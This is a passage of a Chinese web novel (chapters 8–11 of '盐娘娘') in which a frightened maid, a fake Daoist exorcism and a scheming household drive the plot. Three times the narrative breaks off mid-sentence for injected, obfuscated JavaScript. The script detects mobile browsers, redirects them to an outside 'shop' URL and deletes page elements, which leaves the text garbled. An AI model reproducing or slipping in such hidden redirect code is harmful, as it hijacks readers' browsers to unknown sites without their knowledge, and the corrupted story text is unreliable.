万历十二年四月十五……不就是那孤女入府的日子吗！ 想明白了这个中缘由，桃儿吓得额头沁汗，打起了摆子。老夫人蹙眉看了她一眼，支使道：“桃儿，你这就去那悬寻留的地址问问看，我和小顺子在这儿等你，快去。” 桃儿本就吓得头脑一片空白，这边厢又要被老夫人安排着，独自前往猫儿胡同的深处，当即脑袋摇成了拨浪鼓：“老夫人，您让顺子去吧，婢子……婢子怕……” 邵老夫人眉眼竖起，疾言厉色道：“让你去你就去，还敢跟主子讨价还价！” 邵老夫人最初的确是想安排小顺子去办的，毕竟他腿脚快，嘴皮子利索，一来一回用不了多长时间，自己也不必在这鱼龙混杂之地耽搁太久。可若这唯一的男丁走了，邵老夫人心里又着实害怕，桃儿又是个不甚靠谱的，只怕危险来了跑得比自己还要快。思来想去，也只能让桃儿去办了。 桃儿不敢再行违逆，心中叫苦，战战兢兢地转过身，在邵老夫人严厉目光的逼视下，一步一步朝着猫儿胡同深处的三道巷朱漆矮门挪去。 8. 盐娘娘（八） 桃儿磨磨蹭蹭地凑到那朱红色的矮门前，深吸一口气，正欲拍动门上的铜环，却忽然“吱呀”一声，矮门应声而开。 门后，露出一张圆润俏丽的小脸，正是小班主——唐珠儿。她穿着一件水红色的比甲，微微翘起的鼻头向上皱着，在鼻梁上形成一道猫儿似的横纹。 “这位姐姐是……”唐珠儿亮晶晶的眸子上下打量着桃儿。 见开门的是个年画娃娃般的小姑娘，桃儿提到嗓子眼儿的心方才落了地，道：“小妹妹，还请唤你家班主出来一叙。” 唐珠儿歪了歪头，莞尔道：“姐姐跟我说就行，我就是玉梨班小班主。” “你？”桃儿一怔，实在是无法将面前的小女孩儿和想象中的戏班班主对应起来，可既然对方认下了身份，她也只得硬着头皮，从怀里掏出那份皱皱巴巴的悬寻：“我……我是替自家主子来问……这个人偶的事儿……” 唐珠儿眸光一亮，兴奋地“哎呀”一声：“姐姐是说她呀！前些日子在城隍庙唱大戏，我一不留神就将她搁在戏箱上了。谁料，就是个眨巴眼儿的功夫，转头就找不见了，可把我急坏了！”她亲亲热热地拉住桃儿的手，“可是让姐姐寻着了？” 桃儿赶紧摆手：“倒不是寻着了，而是……”她思量了一下措辞，方苦涩道，“我家老夫人见了帖子，说这人偶生得像府里新收的丫头，便想问问……”她咽了口唾沫，终究是没敢把“妖物”二字说出口，“想问问这傀儡人偶是不是有什么门道？” 唐珠儿闻言瞪大了眼睛，以手掩口，压低声音道：“难不成……” 她声音细弱，恍若蚊鸣，勾得桃儿抓心挠肝，赶紧上前一步，追问道：“难不成什么？” 唐珠儿苦了脸，犹豫道：“我也不敢确定……当时雕这具人偶之时，戏班里的老人就提醒过，这槐木属阴，傀儡人偶活在戏中，历经悲欢离合，只怕会种下因果。我是个不信邪的，只当个玩笑听了，没有放在心上。” 桃儿的脸色愈来愈白，身子却止不住向着唐珠儿的方向倾了过去。 “那……那后来呢？” “后来，这人偶跟着戏班走南闯北，演出了不少剧目。近些日子，我从别处得了一个话本子，讲的是一个被富商买了去的姑娘，在主家受尽苦楚，没过两年便不明不白地死了，只余下一个吃奶的娃娃……后来姑娘化作厉鬼，索了那富商一家子的命去。自从演了这部戏，这人偶便不对劲起来，只怕……” 桃儿听得口干舌燥，只觉这玉梨班小班主所说的话本子，怎地经历和四姨娘这般相似，天底下当真有这么巧合的事情？ 见桃儿目光闪动，心跳如擂鼓，唐珠儿声音压得更低了，近乎梦呓：“只怕是种了戏里的因果，分不清戏文和现实，便化成人形，到人间历练去了。若真的如姐姐所说，府上的新来的丫鬟和人偶一模一样，恐怕……” “府上不日就会有大麻烦！” 最后几个字，唐珠儿骤然放大了音量。那桃儿正凝神细听，冷不防被这声音一惊，骇得“嗷”地一嗓子嚷了出来，腿弯一软，摔坐在地，几乎魂飞天外。而也恰恰在桃儿三魂没了七魄的同时，唐珠儿掩在身后的手悄无声息地探出，往桃儿的腰间塞了什么东西。 桃儿摔在地上，吓得哭出声来：“那……那怎么办啊！” “若是运气好，姐姐能在府上寻到那人偶，还回我这里，倒也罢了。可若是遍寻不到，只怕……就是劫数了。” 唐珠儿将抖成筛子的桃儿扶了起来，桃儿哪里还敢在戏班子多呆，只忙不迭地要回去寻老夫人。眼瞧着桃儿攥着悬寻，跌跌撞撞地扑出院儿去，唐珠儿斜倚在门框上，不由笑出声来。 “晏回姊姊说得没错，这一府的人，有胆子作恶，却没胆子承因果，可笑得紧。” 红唇微张，一颗春杏被抛入口中，唐珠儿凝着桃儿远去的背影，心满意足地咀嚼起来。 * * * 待桃儿攥着悬寻，一步一踉跄地回到与老夫人分别的路口，却见那里多了一个身姿如鹤的人影，定睛细瞧，正是上午见过的白袍道人。那道人一脸严肃，正倾身与老夫人说着什么，好看的眉毛蹙了起来，在鼻梁上方形成一个“川”字。 桃儿心里早已被吓得没了主意，这方见道人在场，膝盖一软，扑通一声跪了下来。 “道……道长救命啊！” 正在谈话的三人被桃儿唬了一跳，皆垂头向她看去。只见小丫鬟额头沁满了冷汗，双眸含泪，脸色惨白，显然是受了不小的惊吓。 “当着道长的面，这般一惊一乍，成何体统！”老夫人本就心里憋着一团火，这边又让桃儿一嚷，更是怒气难掩，斥道。 范凌舟双眉微展，脸上露出一丝了然的笑意：“姑娘可是听到了什么风声？” 桃儿哪还敢有所隐瞒，连忙竹筒倒豆子，将刚刚听来的消息吐露了个精光。 待桃儿哽咽着说完，不光是邵老夫人哑然无话了，就是搀扶着老夫人的小顺子也寂然无声。范凌舟用余光瞟了一眼二人，长叹一口气：“无量天尊，这般说来，此事甚是棘手。” 邵老夫人紧扣着大拇指上玉扳指，耳畔嗡嗡作响，方才还在骂桃儿“不成体统”的底气早被抽得干干净净。她深吸了两口气，颤抖道：“还望道长……给老身指条活路。若真如那戏班班主所说，是傀儡人偶成了精，鲁府上上下下数十口人的性命，可都在道长的一念之间啊！” 范凌舟心中冷笑，与桃儿的手足无措相比，这老夫人倒是倒驴不倒架，明明是她与她那宝贝儿子造下的孽障，反倒想要将大帽子扣到他的头上来。还什么“全在道长的一念之间”，着实有趣。 纵然心中不屑，可范凌舟面上却是平静：“老夫人且莫慌。贫道虽不才，却也见过些魑魅魍魉，降过些邪魔外道。若想震慑此妖孽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184808|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，贫道得先见着她真身方可。” “见！见！这是自然！”邵老夫人忙不迭点头，“小顺子，这便给道长备轿！” 范凌舟却高深莫测的摇了摇头，拉长声音道：“捉妖一事，最忌急功近利，今日正午已过，不宜镇妖。后日巳时三刻，贫道定当登门拜访。这两日，老夫人切不可与那妖孽起冲突，以防其提前生事。” “不冲突！不冲突！道长说得甚是！”邵老夫人连声道，“老身这便回府，命人把那小蹄子的活计全撤了，再许她一个单独的院落，连院门都不许她出！” 范凌舟微微抬袖，掩住唇角挽起的弧度，正色道：“贫道既然应下，便不会坐视不管。后日巳时三刻，定然叫那妖孽形神俱灭！” 老夫人闻言，激动地嘴角抽动数下，突然褪下自己腕间的金镯，不由分说便往范凌舟怀里塞：“道长，这金镯是老身的陪嫁之物，这便赠予道长，权作茶钱。” 范凌舟微微垂眸，只见那金镯的镯面錾着缠枝莲纹，花瓣边缘翻卷如浪，一看便不是凡品，心中不由暗暗叫苦。天人交战片刻，范凌舟还是义正词严地将金镯推了回去：“老夫人这是作甚，贫道乃方外之人，不收俗世之物，老夫人快快收回。贫道只盼老夫人这两日，万事忍耐，勿以小不忍而乱大谋。” 邵老夫人既惭且愧，喏喏称是。 再抬头，白袍道人已飘然远去，隐入猫儿胡同的暗影之中。老夫人身子一软，小顺子眼疾手快地探手一拦，将老夫人扶入轿中。 小顺子跟着东奔西跑了一整天，事情的来龙去脉也了解了个七七八八，这番见老夫人打定了主意要对付那新来的孤女，心中竟有些不落忍，便开口劝道：“老夫人，趁着那丫头还没作妖，要不咱今夜就把她撵出去吧？” 无家可归总比形神俱灭要强吧？小顺子心中暗道。 “糊涂！”老夫人狠狠劈来一个眼刀，“你方才没听到吗！道长说不能起冲突，不能起冲突！万一那妖孽急了眼，伤了老爷怎么办？” 小顺子不敢反驳，脑海中想得尽是柳树下佳人的倩影，那般柔弱白皙的神仙人物，岂能是老夫人和道士口中的妖孽呢？即便真是妖孽，她又没有害人，为何要让她形魂俱灭呢？小顺子突然觉得，他也许真的没有本事能够拿捏鲁府上下，他无非也是挣扎在这片污泥中的蝼蚁罢了。 想及此，他突然升起了与他心目中的柳树美人——晏回同病相怜之感。 邵老夫人可不在意小顺子心中的计较，只是急急地命令轿夫起轿。随着轿子稳稳抬起，邵老夫人注意到桃儿还呆立着，垂头盯着自己的手，不知在想些什么。 老夫人怒从心起，斥道：“若是不走，便呆着吧！” 桃儿吓了一跳，慌忙将手藏到身后，一溜小跑地跟到轿子旁。 邵老夫人没有看到，桃儿手中紧紧攥着一团细长的丝线，在阳光下闪烁着苍白的冷光。 9. 盐娘娘（九） 夜笼小院，月照孤窗。 晏回躺在床榻上，合拢双眸，静静感受着窗外流泻而入的月色，在薄薄的眼皮上破碎又聚合。邵老夫人果然听从了范凌舟的“劝告”，命人撤了她浣衣的活计，崔氏面前也不许她伺候了，只是给她“升”了个“静养”的虚衔，实则用两个粗使婆子守着院门，将她看得死死的。 一切事情都在计划中进行着，晏回也乐得清闲，少了那鲁秉添时不时地骚扰，日子倒也自在。 突然，眼皮上笼着的月色无预兆地颤了颤，晏回警惕心起，悄无声息地坐起身来。 屋外，传来人踮着脚走路的轻响。 “晏姑娘，你还醒着吗？” 那声音压得极低，可晏回还是立刻分辨出了声音的主人——小顺子。 她没有答话，静静地凝神细听。 小顺子见屋里头没有声响，迟疑了一阵儿，又低声道：“大夫人今日去佛堂抄经，没带梅兰竹菊……你若醒着，便去见见夫人吧！” 挂在门上的锁被轻手轻脚地打开了，漏出一道细长的门缝，苍白的月色透了进来，小顺子的身影却已然找不见了。 晏回有些惊异地挑了挑眉毛，这倒是完全在她计划外的事件了。 没带梅兰竹菊，这不就是暗示她，大夫人正孤身在佛堂中候着她吗？ 晏回心中暗道，既然对方诚心相邀，又岂有不见之理。 她姿态坦然地站起身，推开院门，走入茫茫夜色之中。 * * * 佛堂的门虚掩着，门缝里漏出一线昏黄的烛火。崔氏跪在佛像前的蒲团上，供桌上的烛火被风掀得晃了晃，让她投在墙上的影子如同一片摇摇欲坠的枯叶。 “夫人，您寻婢子？”晏回柔柔施了一礼。 崔氏没有回头，只是将手中的佛珠攥得更紧了。那串檀木珠子被她盘得油亮，随着指尖的动作发出细碎的摩擦声。 “今晚，你便走罢。”崔氏冷冷道，“褡裢已经替你备好了，卖身契就在里面，小顺子在角楼外替你雇好了马车，不要再耽搁了。” 崔玉容的语气极冷极硬，话锋颇疾，似乎生怕晏回打断她的话头一般。 晏回琥珀色的眸子微微睁大，探询地望着那僵硬挺直的脊背，半晌竟是笑了。 这一声轻笑，在四下无人的佛堂中格外刺耳，也彻底激怒了崔玉容。大夫人倏地转过身，紧攥着手中的佛珠，死死盯着晏回的脸：“你当我与你玩笑！？你可知你死期将至！” “明日巳时三刻，老夫人要请道士来府里捉你，我听说，那道士厉害得紧，只怕拂尘一挥便能让你形神俱灭。”崔玉容银牙紧咬，一字一顿道，“今日我放你一条生路，莫要不识好歹，枉送了卿卿性命。” 晏回看着面前的女子神色狰狞地低语着，那双古井无波的眸子里，此刻盛满了燎原的怒火和无法遏制的厌恶。没错，厌恶，那是崔玉容对自己本身的厌恶。 “这么说来，大夫人是信了？”晏回温声道。 崔氏被问得一怔，灼烧喉咙的怒意被强行吞了下去。 “既然信了，那为何夫人不怕我？”晏回的脸上再也没有了弱柳扶风的苍白柔质，唯余灼灼锋锐。“你就不怕我从了因果，伤你性命吗？” 崔玉容定定地望着她，半晌双眸缓缓垂了下去，指尖的佛珠又一次转动起来，面容一片平静，“这世上哪有什么因果，若是真的有——”她的声音低得恍若蚊鸣，“我死又有何辜……” “可是你……没有必要……” 崔玉容本已经对这样的日子没有什么期待了，她不在意鲁秉添再添几房美妾，不在意鲁府再多几个孩童，甚至不在意时间的轮转，因果的循环。人，不就是那样一件物什，放在哪里都得过着那样无望的日子。 早已没有人在意她的喜怒哀乐，毕竟，连她自己都忘了，自己也是一个会哭会笑的人了…… 可是，那个人在意。 对面那个素昧平生的女子，在意。 ——婢子只希望……夫人能开心些…… 崔玉容狠狠咬了咬嘴唇，垂下头去。 所以，那女子是孤女也好，是妖孽也罢，她都祈盼她能好生活着。 “夫人，你和我一同走吗？”晏回平静道。 崔玉容再也难以掩藏自己内心翻涌的滔天巨浪，她不可置信地凝着晏回的脸，直看到那浅淡的眸子深处，良久，她双眉垂耷下来，仿佛那夜暴雨又至，将她浇了个透心凉。她摇了摇头，声音带着哭腔：“我早已经走不得了。” 她可不是晏回那般家破人亡，只能卖身葬父的孤女，她的身后还有未及弱冠的弟弟，还有卧病在床的母亲…… “既然如此，那我也不会走。”晏回道，她的唇角噙着某种崔玉容看不透的笑意，与往常虚弱苍白的女子判若两人，“那道士，我正想会会。” 空寂无人的长街上，更夫敲了三更，梆子声惊起几只夜鸦，扑棱棱掠过鲁府华丽的瓦檐。窗外的月光淌了进来，漫过供桌，将整个佛堂淹没在一片惨淡的辉光里。 * * * 第二日一大早，鲁府上下便按照范凌舟的要求忙活起来。 众人沐浴洁身，搭建醮坛，备选贡礼，直忙活到巳时两刻，范凌舟才带着众道士姗姗而来。范凌舟着一身月白道袍，头戴玉清冠，身背桃木剑，腰系水火丝绦，足登青缎云鞋，身形颀长，脊背板直，自有一番渊渟岳峙之气势。他的身后紧跟道童数名，亦是各个眉清目秀，不染俗尘，只这一亮相，便让候在门口迎接的邵老夫人又信了七八分。 寿光城可算不得“小门小户”，城外的宁国寺更是香火鼎盛之所，邵老夫人也可说是见多识广，参与过多次佛家法事，可像范道长这般仙风道骨的神仙人物，她却是闻所未闻，见所未见。她赶紧迎了上去，一通“额弥陀佛”“无量天尊”“无量寿佛”的乱喊，将众道长请入府中。 众道士也不废话，待范凌舟检查完醮坛，点数完贡礼，便开始各司其职。三法师玄坛步趋，众道童或侍经香、灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184809|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏，或监坛、正仪，让府上众人看得目不暇接，心中连连叹服。 ——不愧是老夫人请来的道长，个顶个跟神仙一般。 人群中的鲁秉添打了个哈欠，不耐烦地瞅着院中忙碌的“不速之客”。与自家迷信的母亲相比，鲁秉添对鬼神一说嗤之以鼻。 他不知道为何母亲要急急火火地请一堆道士来家中开坛作法，也不明白为何母亲说什么也要让新买的婢女到偏院休养。他能容忍母亲“折腾”至今的原因有二：一是，这终究是他的母亲，便再是不耐不屑，只要不“闹”到他的头上来，他总可以睁一只眼闭一只眼；二是，他想为自己迎娶婢女晏回扫清道路，自己已然让步在先，想来母亲不会再多置喙了吧！ 所以，虽然他对这场法事毫无兴趣，可母亲央求他来，他还是来了。只盼母亲闹过这一场，便能从了他纳妾的心思，莫要再生事端了。 正想着，却听鼓乐齐鸣，法事正式开始了。 只见那称作清水道人的范凌舟随着道曲，煞有介事地行起了禹步，口中念念有词，清晰入耳：“步天之精，役使万神。天罡所指，万邪伏藏。邪魔见者，化作微尘。天兵拱卫，急急如律令！” 乐音才落，长剑已然挥出，剑尖所指，正是象征着火沼的炭盆。只听“呼”地一声爆响，炭盆中腾起数道白烟，直冲青天，骇得老夫人差点儿叫出声来。观礼的下人们也都瞠目结舌，鸦雀无声。 还不待众人缓过神来，范凌舟一个凌空翻，桃木剑又刺向象征着水池的盛满水的铜盆，口中大喝：“强我三魂，灭鬼除精，摄！” 顿时，铜盆的清水如同沸腾一般，噼里啪啦地躁动起来。 老夫人踮脚瞧得真切，惊得险些摔将过去，手中的念珠捏得哗啦作响，口中连连道：“神了，真是神了！” 这法事所用之物，皆是鲁府所备，就连那烧火用的碳，铜盆中盛得水，都是自府上取得，绝无弄虚作假的可能。如何让邵老夫人不俯首帖耳，奇之惊之！ 可她哪里知道，这些在寻常人看来绝无可能之事，在妙手空空的小班主唐珠儿眼里，便是再简单不过的小伎俩罢了。无非是几粒晒干的皂角籽，一把不显眼的磷粉，再加上范凌舟巧妙地配合，终成此骇人听闻的“伏魔阵”。 刚开始还不屑一顾的鲁秉添，此刻的脸色也逐渐严肃起来。装神弄鬼之人，最是明白这鬼神之说其中的弯弯绕绕，是以他虽说躲在人群中，却看得最为仔细。可饶是如此，他也没看出来丁点儿门道。 难道说，这什么清水道人当真有些道行？ “府中阴秽之气甚重，此刻本道以水火交炼，阻其邪性，以期收召亡魂，照耀诸天，续明破暗。” 邵老夫人一叠声道：“道长神功盖世，老身今日是见识了，见识了。” 邵老夫人正欲再捧杀数句，却见范凌舟双眉一拧，猛然转身：“妖孽！还不伏诛！” 众人齐齐回头，却惊异地发现，范凌舟拂尘所指之人不是别人，正是鲁府当家的——鲁秉添！ 10. 盐娘娘（十） 邵老夫人老脸一僵，赶紧摆手道：“道长息怒，这可不是妖孽，这是吾儿秉添啊！” 范凌舟欺上一步，坚定道：“贫道所指，并非鲁老爷，而是鲁老爷背上负着的女怨！那女怨煞气冲天，想来是溺毙之鬼，身上还滴着水呢！” 此言一出，邵老夫人和鲁秉添不由得对视一眼，面色尽皆惨白，还不待他们做出反应，范凌舟便一挥拂尘，喝道：“摆阵！莫让那女怨跑了！” 话音才落，数名道士微步凌波，身随影动，将鲁秉添团团围住。 鲁秉添只来得及仓皇地喊出一句：“诶诶！？娘——”下一瞬，人便被范凌舟一脚踹在膝窝上，面朝下扑倒在地，摔得鼻血横流。范凌舟翻到鲁秉添的背上，双腿紧紧箍住他鼓鼓囊囊的腰腹，一手钳住他的后颈，另一只手反手抽出桃木剑，用剑背狠狠拍在鲁秉添的背上。 “啪”地一声脆响，紧缀着一声鲁秉添杀猪似的惨嚎，直冲云霄。 范凌舟这一剑背打得极巧，既不真伤筋骨，又疼得鲁秉添五脏六腑都跟着颤。一剑拍下去，又追上一剑，让鲁秉添的惨叫更上一层楼。 范凌舟心中暗道：我答应过西楼，绝不对女人动手，可你就不一样了，便替你夫人受过吧！不对，罪魁祸首本就是你，这顿打也算便宜你了！ 想到晏回那夜脸颊上微红的指痕，范凌舟下手又重了几分。他倒是打痛快了，鲁秉添却疼得几欲昏死，像条肥硕的鲶鱼般拼命扑腾着，“你这牛鼻子，你敢动——啊！” 话音才起，第三剑又落，把鲁秉添的骂骂咧咧化作一声凄惨的呜咽。 “你这女怨，还敢反抗！道爷我今日要让你知道知道厉害！” 邵老夫人终于从震惊中回过神，踉跄着扑过来要拽范凌舟的道袍：“道长！莫要伤了添儿！这……这是为何啊！” 范凌舟双眉紧蹙，满眼的忧急之色：“老夫人，千万莫要拦阻，若不将这女怨逐走，只怕鲁老爷的性命岌岌可危啊！” 邵老夫人惧得哭出声来，又想拦又被吓得不敢拦，只能双手捂脸，大放悲声：“不是人偶精吗，怎地又来了个女怨？她们是想让我家宅永无宁日啊！” “老夫人莫急，只消再抽几剑！” 范凌舟扬起手臂，势大力沉地重重挥了下去。 一时间，惨叫声，呜咽声，喝骂声，鼓乐声，惊飞的鸟叫声，下人的低语声响成一片，在日头初起的鲁府蒸腾起一派热闹的烟尘。 大宅西北边的僻静小院里，冲着醮坛一侧的轩窗微微打开了一条缝。晏回倚窗而立，望着范凌舟手持桃木剑，后仰成一道拱桥的背影，眼尾漾开极浅的笑，但那层笑容只是一瞬，便很快被更深沉的冷意代替，凝成苍白的冰寒。 “第七剑！”范凌舟终于长出一口气，松开钳制着鲁秉添的手，收剑入鞘。鲁秉添此刻连呜咽声都没了，如同一滩化开的猪油般扑在地上，只能看出臀部和大腿处还有着微微的颤抖。 范凌舟活动了一下酸胀的手腕，翻身而起，冲老夫人一礼：“老夫人，负在老爷身上的女怨已散，只需休养几日，老爷便能活动如初了。” 邵老夫人哪敢反驳，只能咬紧惨白的下唇，无力地点了点头。 范凌舟微微一笑，冲众道士使了个眼色，立刻便有人站出来，将瘫软在地的鲁秉添拉扯了起来，半抬半抱着往房里送。 大仇得报，范凌舟志得意满道：“老夫人，万事俱备，还请将那位‘女眷’请出来吧！” 邵老夫人赶紧将目光从鲁秉添的背影上撤了回来，惶急道：“道长，你是说那妖孽？” “除了她还有谁？”云淡风轻的笑容从眸中敛去，范凌舟摆出架势，右足后撤，一手持符，一手持剑，满脸的视死如归。天青色的春风灌满了他月白的袍服，如同一只振翅欲飞的仙鹤。 “布阵！”一声清喝，众道士若归位的天罡北斗，严阵以待。 一番折腾下来，终于让邵老夫人等来了斩妖除魔的时刻，拉长的老脸上也终于有了一丝红润之色，邵老夫人清了清嗓子，道：“把那小蹄子带出来！” 不多时，西北角小院的门扉应声而开，众人呼啦啦地让开了一条路，屏息凝着那缓步而出的身影。袅娜，苍白，平静，却暗含锋芒。 此时，众人的目光都一瞬不瞬地盯着晏回，范凌舟也得以缓了口气，短暂卸下伪装，同众人一道望向那淡青色的影子。她同初遇时一样，有着让人移不开视线的吸引力；亦如同初遇时一样，藏着无人可战胜的隆冬。 他们已经合作了两年，她对他算得上了如指掌，而他对她，依旧可以称得上一无所知。范凌舟几不可查地轻叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184810|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口气。 察觉到范凌舟的视线，晏回微微抬眸，待那如鹤的身姿彻底倒映在眼瞳之中时，嘴角微微上扬，露出一个意味不明的笑。下一瞬，仙风道骨的清水道人范凌舟突然脸色一僵，双眼翻白，直挺挺地倒在了地上！ 众人怔住了，不知所措地看了看翻着白眼的范凌舟，又迷茫仓皇地看了看晏回，双手垂在两股旁，于风中战战，口唇微张，一语不得言。邵老夫人更是老脸惨白，不知该如何是好。 正在众人呆愣之际，却听一名道长大喊了一句：“阵眼已破！速速将妖孽囚于房中，免其伤人啊！” 这一闹院子里炸开了锅，绝大多数下人们，一开始根本不知道事情的全貌，还以为是老爷老夫人心血来潮兴办的佛会法事。可即至老爷被打，新买的孤女被请出来，再消息不灵通的下人都猜出了几分门道，再到号称神仙人物的道长如玉山倾颓，轰然倒地……最初的八卦好奇变成一层接着一层浮上来的鸡皮疙瘩，数名胆小些的婢女已经吓得哭了起来，邵老夫人则一手拽着小顺子，一手扯着桃儿，几乎站不直身子。 晏回扫量了一圈院中荒唐的众人像，冲着老夫人淡淡行了一礼，道：“婢子不知何事触怒了老夫人，引得老夫人这般忌惮婢子。婢子不愿让老夫人为难，这便告退了。” 她悠悠转身，最后瞟了一眼还手脚僵硬昏死在地上的范凌舟，后者翻白的双眼不易察觉地眨动了一下。晏回垂下眼帘，掩住眸中隐约的笑意，径直朝西北方的小院儿走去。 众位道士如临大敌地紧随其后，眼瞧着晏回刚掩上房门，无数符纸便霹雳啪啦地贴了满屋满墙，辟邪的朱砂跟不要钱似的泼在门上。 见房中始终未有声响，众道士方才缓了一口气，又跑回去七手八脚地将昏迷不醒的范凌舟抬进客房里。 * * * 邵老夫人双目无神地看着面前白净无须的脸，在这个道长的安排下，他们鲁府上上下下忙活了一个晌午，最终换来了什么？换来了下人们草木皆兵，换来了添儿伤痕累累，那罪魁祸首——人偶精倒是全须全影，分毫未损。 可这道长呢，竟还在这里昏聩不醒。若不是所遇之事的确蹊跷，邵老夫人几乎要怀疑自己是上当受骗了，可是…… 正想着，面前的男子眼皮轻颤，转醒过来。 11. 盐娘娘（十一） “道……道长，你这是……怎地了？”邵老夫人小心翼翼道。 范凌舟捂着额头，夸张地呻吟了一声，气若游丝：“让老夫人见笑了。那妖孽乃千年槐木所化，道行深厚，才一进法阵，便冲破了贫道的阵眼，使得贫道气血逆行，昏死当场，实在是着了她的道。” 邵老夫人紧蹙着眉头，想起这道长抽打自己添儿之时，倒是虎虎生风。怎地刚一碰上那女子，就高下立现了呢？不由嘴角抽了抽，冷冷道：“那道长的意思是……这小蹄子比你原先想见的更加厉害？” “岂止是厉害！”范凌舟撑着身子坐了起来，“那傀儡人偶吸了戏文里的怨气，又得了人间香火，早成了精怪里的‘煞’，和附着在鲁老爷身上的女怨不可相提并论。” “那如今，该如何是好？”邵老夫人此时也是左右作难，既不敢尽信于范凌舟，又不敢任由他离去，独自对抗那人偶精，思来想去，还是只能让范凌舟给拿个主意。 范凌舟正欲开口，却听外间传来细碎的脚步声，原是桃儿端着青瓷药碗走了进来。她偷看了一眼衣衫凌乱的范凌舟，面色微红，轻声道：“老夫人，厨房熬了安神汤……” 话音未落，却见刚才还病恹恹的道长突然暴喝一声：“退下！”与此同时，一道符纸应声飞出，“啪”地钉在桃儿脚前的青砖上。符纸边缘腾起一缕青烟，发出“滋啦”轻响，竟是自顾自烧灼起来！ 经历了晌午的一番折腾，桃儿本就有些杯弓蛇影，此时被范凌舟一吓，登时手一松，药碗“当啷”砸在地上。 “道……道长，婢子只是……只是送药啊……”桃儿颤声解释道。 迎着老夫人疑惑的目光，范凌舟缓缓起身，捏着指诀向桃儿踏出一步，用不容置疑的语气道：“你身上有阴煞之气！”他用脚尖踢了踢那已然成为一摊灰烬的符纸，道：“老夫人且看，这符是用朱砂混了雄黄酒画的，遇妖则燃。” 这符纸就燃在眼前，老夫人心中的半信半疑又消了几分，她倒抽一口冷气，向后缩了缩，几乎将整个身子藏到了范凌舟的影子下：“桃儿，你让那妖孽缠上了！？” 桃儿抖似筛糠，拼命摇头：“婢子没有，只是……只是……” “如实说来！”范凌舟喝道。 桃儿再也忍不住，大哭道：“只是那日从猫儿胡同回来，婢子……婢子发觉多了样东西……婢子不知道是什么，便随手丢了，谁知第二日，那东西却又……又出现在婢子房中……婢子扔几次，它便回来几次，就好像……跟定了婢子一般！”她哭得涕泗横流，显然连日来承受的心理压力不小。 只见桃儿从怀中缓缓掏出一物，那东西细若蛛丝，却坚韧无比，在阳光下闪烁着银色的寒芒，正是那日唐珠儿用妙手空空之术暗藏在桃儿腰间之物。 范凌舟的瞳孔骤然收缩，一把抢过丝线，手指几乎要掐进掌心：“这是傀儡丝啊！”范凌舟猛拍了一下大腿，道：“怪不得啊，怪不得！这样的话便都能串起来了！这傀儡丝乃是精怪怨念所化，缠上活人就能探人神智、听人言语。桃儿姑娘日日跟在老夫人身边，那人偶精便通过这傀儡丝将咱们的计划偷取得明明白白，破我阵眼自然如同探囊取物般容易了！” 桃儿是邵老夫人的贴身丫鬟，又跟着邵老夫人去过猫儿胡同，更是被老夫人逼着去见了玉梨班班主，可算得上是鲁府知晓此间内情最多的下人了。邵老夫人平日里说话，自是不避她，现如今回想起来，邵老夫人如遭雷击，她死死盯着那团丝线，只觉千万条银线正从墙缝里钻出来，缠上自己的脖颈。 她颤抖着抓住范凌舟的道袍：“道长，那、那如今究竟该如何啊！你可不能弃之不理啊！” 窗外天色渐沉，橙红色的夕阳直坠向苍青色的山岚之下，恍若投入深潭中的浑圆宝珠。望着那沉沦的日头，范凌舟知道，此刻火候已足，邵老夫人的恐惧，鲁府上下的惶惑，楚庸的仇恨，楚怜的冤屈……至此为止，都该收网了。 他深吸一口气，将道冠重新正了正，声如洪钟：“老夫人且宽心，贫道断不会半途而废。那妖孽虽狠厉，却不知刚极必折，物极必反，而这傀儡丝，恰恰就是它的死穴所在。”他将手中的傀儡丝收入黄囊中，以符纸附之，才道：“老夫人可记得三日后是何日子？” “五月初五……是端阳节？”邵老夫人掐指算道。 “正是！”，范凌舟颔首道，“这人偶精乃槐木所化，极阴；端阳节乃‘正阳启午’之日，极阳，阴阳相冲，它的怨气本就弱了三分。而寿光城自古便有端午点天灯，赏烟火的传统。待得万千天灯腾空，满城灯火映得夜空如昼，它的阴魂悬在阴阳交界，便是此妖孽最为衰弱之时。若在那时，以贺节为由，请玉梨班进府，唱那妖孽最为执念的折子……” “然……然后呢！”邵老夫人攥着帕子的手青筋直跳，急问道。 “然后——”范凌舟不紧不慢，胸有成竹道，“于西北位起法坛，以五雷符引天地煞气，轰燃此傀儡丝……”范凌舟冷笑一声，“那妖孽必将魂飞湮灭！” 道袍翻卷如浪，道人目光灼灼，邵老夫人喉头紧了紧，艰涩地咽下一口唾沫：“这……这就能斩草除根？” “贫道保证，定能——永绝后患！” 